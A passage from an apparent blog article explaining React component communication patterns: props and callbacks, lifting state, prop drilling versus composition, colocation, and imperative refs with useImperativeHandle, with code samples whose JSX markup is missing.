Meta-Frameworks](https://2025.stateofjs.com/en-US/libraries/meta-frameworks/) - satisfaction rankings for Astro, Next.js, and others --- ## Component Communication Patterns in React Applications URL: https://neciudan.dev/component-communication-patterns-in-react Published: 2026-06-20 Communication is the cornerstone of civilization. And just like humans need to communicate, so do our components. Now there are many books on Architecture and Design Patterns for communicating between modules (if you are interested, the list is at the bottom), but we dont have anything similar for Frontend, especially React. The problem is that React gives you a lot of different ways to make two components share something, and which one is right almost always comes down to two things people rarely stop to think about: - How far apart the two components actually are. - What kind of value is moving between them. A theme that the whole app reads is a completely different problem from a filter that two sibling components share, which is different again from a user record that really lives on the server. This article will walk through the options, starting with the closest distance between components. ## Props and callbacks The simplest situation is this. You have a parent component that renders a child, and both need to agree on a single value. They're sitting right next to each other in the tree, so there's almost no distance to cover, and React already gives you everything you need to cover it. Data flows down as props from parent to child, and up as callbacks—no need for fancier solutions when components are close. Here's that shape in practice, with a filter that a parent owns and two children care about: ```tsx function FilterBar({ filter, onFilterChange }) { return ( ); } function TodoPage() { const [filter, setFilter] = useState('all'); return ( <> ); } ``` TodoPage holds the filter, FilterBar reads and updates it, and TodoList uses it for display. The state should live at the lowest point where both children have access, which is the shared parent. "Lifting state up" is the go-to approach when siblings need to share a value. The problems start when that value has to travel through components that have no interest in it whatsoever, just to reach the one that does. Something like this: ```tsx function Page({ user }) { return ; } function Layout({ user }) { return ; } function Sidebar({ user }) { return ; } ``` Layout and Sidebar don't use user; they're just passing it down to Avatar. This is called prop drilling and is a common reason to consider a different communication pattern. But before reaching for other tools, remember that a three-level prop drill can often be solved with **composition**. Instead of passing data down, pass the rendered element as children so the data doesn't need to move through uninterested components. ``` function Page({ user }) { return ( ); } ``` Now the user goes directly to where it's needed, skipping Layout and Sidebar. ## Colocation Before connecting components, check whether they really need to communicate. Sometimes the state is moved up "just in case" another child might need it, but if that sibling never appears, the state ends up being shared for no reason. Here's the kind of thing I mean: ```tsx function Dashboard() { const [searchTerm, setSearchTerm] = useState(''); const [isMenuOpen, setIsMenuOpen] = useState(false); return ( <> ); } ``` searchTerm belongs in the Dashboard because both children use it. isMenuOpen, though, is only used by Menu but still lives in the parent. This means Dashboard and its children re-render unnecessarily when isMenuOpen changes. The fix is to send that state back down to where it's actually used: ```tsx function Menu() { const [isOpen, setIsOpen] = useState(false); return ; } ``` Colocation means moving the component as close as possible to the component that uses it, never higher than needed. This applies both within a component and across the tree; use the smallest scope necessary. Colocating the state improves performance, too. State updates re-render the component and its children; if the state is too high, unnecessary re-renders happen. So before you reach for any of the tools in the rest of this article, do the cheaper thing first and confirm the two components really do need to share something. In my experience, a good chunk of the "shared state" I've deleted over the years was never shared by anything. ## Imperative calls Sometimes a parent doesn't want to share any state with a child whatsoever. What it wants is to reach in and *tell that child to do something*. Play this video. Focus this input. Scroll to this particular row. Open this dialog. The tool for that is a `ref` paired with `useImperativeHandle`. The child decides on a small, deliberate set of methods to expose, and the parent gets to call them directly. In React 19, `ref` is finally just a regular prop, so the child can read it straight out of its props like anything else: ```tsx function VideoPlayer({ src, ref }) { const videoRef = useRef(null); useImperativeHandle(ref, () => ({ play: () => videoRef.current.play(), pause: () => videoRef.current.pause(), })); return